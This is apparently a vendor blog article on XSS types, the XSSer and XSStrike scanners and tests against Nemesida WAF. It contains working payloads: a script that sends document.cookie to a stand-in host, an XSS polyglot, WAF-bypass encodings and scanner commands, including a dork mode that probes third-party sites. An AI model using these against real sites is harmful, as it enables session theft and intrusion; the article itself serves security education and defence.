About stored, reflected and DOM-based XSS, XXSer, XSStrike and Nemesida WAF

Img source: https://portswigger.net/web-security/cross-site-scripting

XSS (Cross Site Scripting) — one of the most popular types of web vulnerabilities, which allows you to embed malicious code in the page given by a web application. Attacks using the XSS vector allow you to embed arbitrary content on the page, intercept cookies and sessions of other users, gain access to closed sections of the site and even administrator privileges of a web resource.

There are several types of XSS:

  • Stored. Malicious code is stored on the server and downloaded from it every time users request the display of a particular page. Most often they appear where user input is not filtered and stored on the server: forums, blogs, chats, server logs, etc. For example, the script <img src=”http://exmple.com /” > left on the page of site with very high traffic may trigger a DDoS attack on the specified web resource.
  • Reflected. The malicious string is part of the victim’s request to the website. The site accepts and inserts this malicious string in the response sent back to the user.

For example, when user clicks on a link: http://example.com/q=<a href=’a’ onmouseover=alert (‘XSS’) style= ‘font-size:500px’> hyperlink is displayed on the page, and when you hover over it, the alert(‘XSS’) script is executed. But to do this, you need to somehow (for example, using social engineering) force the user to enter this link in the address bar.

  • DOM-based XSS. It is a type of both stored and reflected XSS attacks. In this case, the malicious string is not processed by the victim’s browser until the actual JavaScript of the website is executed.
    Let’s assume that we have developed a web application that contains the following code:
<title>Example XSS</title>  <h1 id="greeting">Hello there!</h1>    
var name = new URLSearchParams(document.location.search).get('name');
if (name !== 'null') {
document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';

When it is executed, the page will display the greeting “Hello !”. However, if you add something via the name parameter, such as “Pentestit”, the greeting changes to “Hello Pentestit!”. But if you add a load in the form of <img+src+onerror=alert(‘XSS’)> to this parameter, the script will be processed.

The article is informational. Do not break the law.

XSS have various variations, for example, a forum post with the text <script>alert (‘XSS’)</script> put a script on the page, and any user who visits it will trigger the browser to process this script. But this will work if there is no filtering of user input. If filtering is present, at least for closing tags, then this construction will not work. In this case, the script needs to be modified by placing it, for example, in the tags <img>, <iframe> and the like, that is, in those that do not need to be closed. For example:

<img src=http://example.com/image.png onerror=alert('XSS')>

The <img> tag is responsible for uploading an image to the page, and when you set the address from which to upload it, an event handler is added, which is activated in case of success or error during loading. In this case, if there is an error loading an image from the resource example.com the onerror event handler is triggered, which runs the alert(‘XSS’) script. There are also quite a few variations of using event handlers: onload, onerror, onmouseover, etc. But in addition to the secure <script>alert(‘XSS’)</script> construct, an attacker can write a script that will send a cookie to the remote server for all users who have visited the page.

<script>var s=document.location; if (String(s).indexOf('iC')<0){document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}</script>

There are also so-called blind XSS — this is the type of stored XSS. The essence of their work is that the attacker will not be able to immediately see the result, or the result of the peyload will be displayed, for example, on some other page, such as a feedback form or publishing reviews with pre-moderation of messages. By sending a script in the text of the message, the attacker will not see any reaction from the web application, but on the side of the administrator or moderator of the service, the script will work, calling the function written by the attacker. If we consider this type of attack in the context of the XSS example with cookie theft, then the administrator, without having time to understand anything, will pass them to the attacker.

The main problem with finding blind XSS is that you need to take into account many contexts in which the code can be executed, for example, inside single or double quotes, different attributes, etc.For example, let’s take the same peyload and see what contexts it can be in. The original page load will again be a simple <script>alert(context)</script>.

It can be modified to run in other contexts as well. To do this, you will need to adjust to them:

  • ‘><script>alert(context)</script> — out of bounds attribute in single quotes;
  • ‘“><script>alert(context)</script> — out of bounds attribute in single and double quotes;
  • →’”><script>alert(context)</script> — also out of bounds of the HTML comment;
  • </textarea> →’”><script>alert(context)</script> — out of bounds of the textarea element;
  • </style></textarea> →’”><script>alert(context)</script> — out of bounds of the style element;

To check these parameters, you can use XSS polyglots that take into account different contexts, for example:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Such a peyload should be executed in any context, that is, it can be placed in any parameter and not worry about which part of the code it will fall into.

There are quite a lot of payloads-polyglot, you can take them from SecLists or here.

If you come about this question in a security context, then using only signature analysis in the WAF to filter user data allows you to perform a “crawl” using an alternative method of executing the script. For example, instead of <script>alert (‘XSS’)</script>, use the construct \<a onmouseover=”alert(‘XSS’)”>xss link\</a> to create a link that will trigger the onmouseover event handler by executing the script. If you filter the input of closing tags, you can switch to tags that do not need to be closed, such as <img>. If WAF blocks both closing tags and <img> tags, then you can try the body tag: <BODY ONLOAD=alert (‘XSS’)>

Another option to bypass the WAF lock is the peyload obfuscation methods. For example, using the URL-Encode standard page load <script>alert(XSS)</script>, you can turn it into %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E.

To automate the search and exploitation of XSS vulnerabilities, there are special tools (frameworks), such as XSSer or XSStrike, both are free.


Cross Site “Scripter” (also known as XSSer) is an automated framework for detecting and exploiting XSS vulnerabilities in web applications. It contains several options for bypassing certain filters and special code injection techniques.

Key features of the tool:

  • ability to create images or video files with an XSS payload for further uploading to the web application;
  • search for XSS implementation using Google Dorks queries;
  • checking whether the target web application has XSS filters;
  • option to generate a peyload for attempts to bypass WAF systems;
  • detection of Blind XSS.


To install the tool, you can use the deb package from the official website https://xsser.03c8.net/, or download the installation script on github.



Using keys to compose a query

To call the command help, enter xsser -h. The xsser — update command will update the tool to the current version, and xss — gtk will launch the GUI, but more on that later.

The standard command for checking XSS looks like this:

# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit"  
# xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"
  • -u — the URL to check;
  • -g/-p — parameters for GET and POST requests indicating the location of the test peyload implementation using the XSS string.

Options for configuring the request:

  • — crawler — search all pages in the web application for further analysis;
  • — cookie — change the HTTP Cookie header;
  • — user-agent — change the HTTP User-Agent header;
  • — referer — use the different HTTP Referer header;
  • — header — add new headers;
  • — payload — the use of certain payload for testing XSS. If a specific page load is not required, you can specify the parameter — auto to automatically generate them;
  • — checkaturl — check the response using an alternative URL. This parameter is required for checking Blind XSS.

Using the GUI

For GUI enthusiasts, there is the xsser — gtk command. The program window opens, where you can configure queries for testing in the same way as the console version. But it is much more convenient to work here, eliminating the possibility of getting confused in a really extensive number of keys.

Life hack: specifying the parameters URL, data, payloads, etc., they must be enclosed in quotation marks like writing in the console. In the GUI, apparently, this function was not meant by default.

There are also 2 options for configuring queries in the GUI, as well as in the console version:

  • normal mode — the user chooses the parameters for making the request;
  • the setup wizard — is an interactive window where you select parameters such as: the method to send the request, check the URL of the web application (single URL or a list), the method of generating payloads (specific or automatic generation) if the anonymization of query tools, such as Tor, etc.

There should be no special problems with the setup wizard. The main thing is to clearly understand what data is needed, so let’s take a closer look at the normal mode.

When you start the GUI, as mentioned earlier, a program window will appear, where you enter the URL for testing, specify the use of the search engine pages with vulnerabilities, crawler, and Tor proxy for anonymization. Other settings will be made in the corresponding sections:


The main section of making the request.


  • method of requests used (GET or POST);
  • proxy, if necessary;
  • changing User-Agent, Cookie, Referer, Headers (adding new headers);
  • additionally, you can specify options for ignoring headers with the drop-cookie parameter , following redirects with the follow-redirects option, and HTTP authentication.


Checking host availability and configuring Blind XSS validation.


  • HEAD cheker — sending a request before testing to check whether the host under test is alive and responding to requests. Waiting for a response from the server 200 or 302;
  • Blind XSS URL — alternative URL for checking blind XSS;
  • Blind XSS payload — alternative peyload for checking blind XSS;
  • Reverse checker — option to establish a reverse connection with XSSer to confirm the vulnerability;
  • Discard Cheker — setting the response code from the web application to stop attacks.


Allows you to manually set the pageload for checking or use automatic generation.


Using parameters to try to bypass some WAFs, as well as some browsers ‘ anti-XSS filters. The latter does not make sense, since the declared browsers are outdated and are hardly not used at the moment.


Contains various settings for obfuscation of payloads to bypass other means of protection.


  • — Str — use the method String.FromCharCode ();
  • — Une — use the function Unescape ();
  • — Dec — use decimal encoding;
  • — Hex — use hexadecimal encoding;
  • — Doo — encode the IP address using an octal number, etc;
  • — Cem — use multiple encoding methods.


Various techniques of implementation of payload.


  • — Coo — implementation of cross-site scripting in Cookie;
  • — Xsa — implementation of cross-site scripting in User-Agent;
  • — Xsr — implementation of cross-site scripting in Referer;
  • — Dom — implementation of cross-site scripting in DOM model, etc;


Special methods of performing injections.


  • — B64 — encoding the code using Base64 in the tag META;
  • — Onm — use the event onMouse();
  • — Ifr — use the original tag <iframe>;
  • — DoS — denial of service via XSS (client/server).

After specifying all the parameters, you can click the “Fly“ button on the main window to perform an attack or the ”Aim“ button to generate a console command.


Checking automatic generation of payloads

The set of peyloads that XSSer offers is located in the file ./core/fuzzing/vectors.py and recorded in the form of JSON. The list itself has the form:

{ ‘payload’:”””<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>”””,’browser’:”””Not Info”””}

When compared to XSStrike, it had several sets:

  • basic tags (img, iframe, etc.)
  • event handlers (onload, onerror, onmouseover, etc.)
  • functions (such as confirm()) , etc.

In the process of generating all of these sets were combined with each other and receive a lengthy list of payloads. But in XSSer, it turned out that the — auto parameter is only responsible for using an existing dictionary, which, of course, can be expanded.

During testing, all applied peyloads are encoded in URL-Encode, and the results are automatically written in the current folder to the XSSreport.raw file, unless otherwise specified.

Checking the search for vulnerable sites for XSS using Google Dork

This feature allows the tool to search for vulnerable pages on the Internet using GoogleDork-queries. During the search process, XSSer will search for pages based on the specified criteria and, if found, will send a peyload to check for an XSS vulnerability. In the simplest case, the request might look like this:

# xsser --De "duck" -d "search.php?q="


  • ––De — search engine (DuckDuckGo, Yahoo, Bing)
  • ––d — content of the GoogleDork-request

The idea of this function is clear-search for vulnerable pages using an advanced search engine, but due to the fact that when it is used, third-party resources on the Internet are attacked, it is not entirely clear why it was added.


XSStrike — is an XSS detection package equipped with four handwritten parsers, an intelligent payload generator, a powerful fuzzing engine, and a fast scanner. It recognizes the response using multiple analyzers and then processes the payload, which is guaranteed to work with context analysis integrated into the fuzzing mechanism.


  • fuzzing;
  • context hacking technology;
  • intelligent generation of payloads;
  • support for GET & POST methods;
  • cookie support;
  • WAF detection;
  • handmade payloads for filtering and WAF evasion;
  • hidden parameter detection.

The main parameters:

  • -u — URL to check for vulnerabilities;
  • — data — allows you to work with POST requests;
  • — skip — allows you to skip the question of the application of payload;
  • — params — search for potentially vulnerable parameters;
  • — fuzzer — allows you to start fuzzing parameters specified in the URL;
  • — crawl — scans all available site pages and shows those that are subject to XSS;
  • — headers — sending requests with the necessary headers, such as User-Agent or Cookie.


# python3 xsstrike.py -u "http://example.com" --crawl  
# python3 xsstrike.py -u "http://example.com" --data "login=admin&password=admin&submit"

Testing a WAF crawl XSSer vs XSStrike

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1"

Here you can specify the URL, POST request parameters, the use of a prepared dictionary with payloads, and a delay of 1 second between requests.

When using xsser with a standard set of peyloads, Nemesida WAF Free blocked all attacks, except those directed at older versions of browsers (for example, Internet Explorer 6). Also, requests that do not represent a real attack were not blocked, for example:

  • <xml id=”X”><a><b>955c5ecb3ac1e7ef80ab181ca5d5c7d9;<b></a></xml>
  • <DIV STYLE=”width: expression(c5d576195e3d738adcfb2e1f10019443);”>
  • <LINK REL=”stylesheet” HREF=”bdde8029cb7599bd5601cb739bab6590">

There are symbols that are used in attacks, but are not specifically dangerous. Blocking them can potentially lead to false positives. At Nemesida WAF Free, we develop high-quality signatures to reduce the number of false positives.

Attempts to bypass the security features also did not give additional results when using any of the methods available in the tool for encoding peyloads.

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Hex

Additionally, multicoding — Cem was used:

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Cem "Str, Hex"

In this case, the payload will be encoded first in String in turn.fromCharCode () (Str), after which the resulting string will be encoded in hexadecimal code (Hex). You can add more encodings, but this will directly affect the speed of verification.

If we compare the effectiveness of XSStrike and XSSer, we are more likely to give preference to the latter. Although XSStrike has a function to convert the payload to base64:

# python3 xsstrike -u "http://example.com/xss.php" --data "login=&password1=&enter=Submit+Query" --skip -e b64

The — data parameter is responsible for the content of the POST request body, — skip allows you to skip checking before applying peyloads, and -e sets the encoding of peyloads.

Problems of signature analysis

Do not forget that the attacker can easily get a list of signatures and use it to try to bypass the WAF. For such cases, Nemesida WAF uses a machine learning module, which makes it possible to complicate attempts to bypass the signature method. For clarity, we conducted 2 tests — attempts to bypass the free version of Nemesida WAF (signature analysis only) and the full version of Nemesida WAF using machine learning (using real models). As a tool, we used waf-bypass and this is what we got:

Nemesida WAF Free (signature analysis only):

Nemesida WAF Free (using machine learning):

When using the XSStrike tool, all attacks on the web application were also blocked, even taking into account attempts to bypass the default protection.

# python3 xsstrike -u "http://sites.vulns.pentestit.ru/xss.php" --data "login=&password1=&enter=Submit+Query" --skip


XSS are extremely dangerous vulnerabilities that can harm users in the first place. Therefore, we offer a small list of recommendations to protect against them:

  • Input data encoding: using the OWASP Encoding Project, HTML Purifier, htmlawed, Anti-XSS Class libraries, etc.;
  • Regular manual and automated code security analysis and penetration testing: using both the reviewed xsser and xsstrike, as well as with Wapiti, Nikto Web Scanner or Acunetux;
  • Using Nemesida WAF (at least the Free version);
  • And, finally, regularly install updates (and, if you seriously bother, use extensions that prevent XSS scripts from running on the page).

Nemesida WAF is available as installation packages for popular Linux systems: Debian, CentOS, and Ubuntu. A quick start for those who are already familiar with the product takes about 5–7 minutes. Installation instructions are available here.

After completing the settings, the attacks will be displayed in your personal account (also installed locally), the demo stand is located at demo.lk.nemesida-security.com (demo@pentestit.ru/pentestit).

Stay healthy and protected.

From Information Security With Love

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store